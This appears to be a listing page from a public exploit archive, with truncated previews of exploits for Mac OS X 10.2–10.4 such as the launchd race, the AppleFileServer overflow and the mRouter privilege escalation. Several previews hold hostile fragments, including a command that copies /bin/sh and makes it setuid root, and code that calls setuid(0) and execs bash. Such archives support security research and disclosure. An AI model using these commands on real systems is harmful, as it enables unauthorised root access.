Apple Mac OSX 10.4 - launchd Race Condition

Apple Mac OSX 10.4 - launchd Race Condition / Mac OS X 10.4 launchd race condition exploit intropy intropy caughq.org / / .sh script to help with the offsets /str0ke !/bin/bash X=1000 Y=3000 I=1 while 1 do ./CAU-launchd /etc/passwd $X if $I -lt 30 then X=$X+$Y I=$I+1 else X=1000 I=1 fi done /...

Apple Mac OSX 10.x - BlueTooth Directory Traversal

source: https://www.securityfocus.com/bid/13491/info Apple Mac OS X is prone to a directory-traversal vulnerability. Since the software fails to sufficiently sanitize input, a remote attacker could use the Bluetooth file- and object-exchange services to access files outside the default...

Apple Mac OSX - AppleFileServer Remote Denial of Service

Apple Mac OSX - AppleFileServer Remote Denial of Service / fm-afp.c - nemo @ felinemenace.org - 2005 Code for afp bug found by Braden Thomas. Again hello to everyone @ irc.pulltheplug.org need a challenge? - http://pulltheplug.org - / include include include include include define UAMSIZE 1022...

Apple Mac OSX 10.3.7 - mRouter Local Privilege Escalation

Apple Mac OSX 10.3.7 - mRouter Local Privilege Escalation / fm-iSink.c overflow in mRouter, suid binary used by iSync, on OSX include include define VULNPROG "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/ mRouter" define MAXBUFSIZE 4096 char shellcode = // Shellcode by...

Apple Mac OSX 10.3.7 - 'mRouter' Local Privilege Escalation

/ fm-iSink.c overflow in mRouter, suid binary used by iSync, on OSX include include define VULNPROG "/System/Library/SyncServices/SymbianConduit.bundle/Contents/Resources/ mRouter" define MAXBUFSIZE 4096 char shellcode = // Shellcode by b-r00t, modified by nemo...

Darwin Kernel Vulnerability

"moderator: resending this mail since it appears to of got dropped, if not, please ignore this message. ,'| .-''-.....--'; / '. ..-' , ,--...--''' .--''' /' -';' ; ; ; ...--'' ...--..' .;.' fL ,....----''' ,..--'' felinemenace.org Program: Darwin Kernel 7.1 Impact: DoS, Possible local privilege...

Apple Mac OSX 10.3.7 - Input Validation Flaw parse_machfile() Denial of Service

Apple Mac OSX 10.3.7 - Input Validation Flaw parsemachfile Denial of Service / DoS for Darwin Kernel Version int main int ac, char av FILE me; int rpl = 0xffffffff; fpost pos = 0x10; printf "- nacho - 2004 DoS for OSX darwin 7.5.0 -\n" ; printf "- nemo pulltheplug org -\n\n" ; printf "+ Opening...

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation

Proof of concept: haven: fintler$ cd haven: fintler$ id uid=502fintler gid=500fintler groups=500fintler haven: fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" productname.sh haven: fintler$ chmod 0755 ./productname.sh haven: fintler$ ln -s...

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation (Bash)

Apple Mac OSX Adobe Version Cue - Local Privilege Escalation Bash Proof of concept: haven: fintler$ cd haven: fintler$ id uid=502fintler gid=500fintler groups=500fintler haven: fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755 /Users/$USER/sh;chown root /Users/$USER/sh" productname.sh haven:...

Apple Mac OSX 10.3.3 - AppleFileServer Overflow Remote Code Execution

Apple Mac OSX 10.3.3 - AppleFileServer Overflow Remote Code Execution !/usr/bin/perl Priv8security com remote root exploit for AppleFileServer. PUBLIC VERSION!!!! Bug found by Dave G. and Dino Dai Zovi. URL: http://www.atstake.com/research/advisories/2004/a050304-1.txt wsxz@localhost buffer$ perl...

Apple Mac OSX 10.2.4 - DirectoryService PATH Local Privilege Escalation

Apple Mac OSX 10.2.4 - DirectoryService PATH Local Privilege Escalation / OS X include include include int mainint argc, char argv char ORIGPATH; int temp; if argc 2 if geteuid == 0 printf"euid is root.\n"; setuid0; execl"/bin/bash", "bash", NULL; strcpyORIGPATH, getenv"PATH"; printf"Original pat...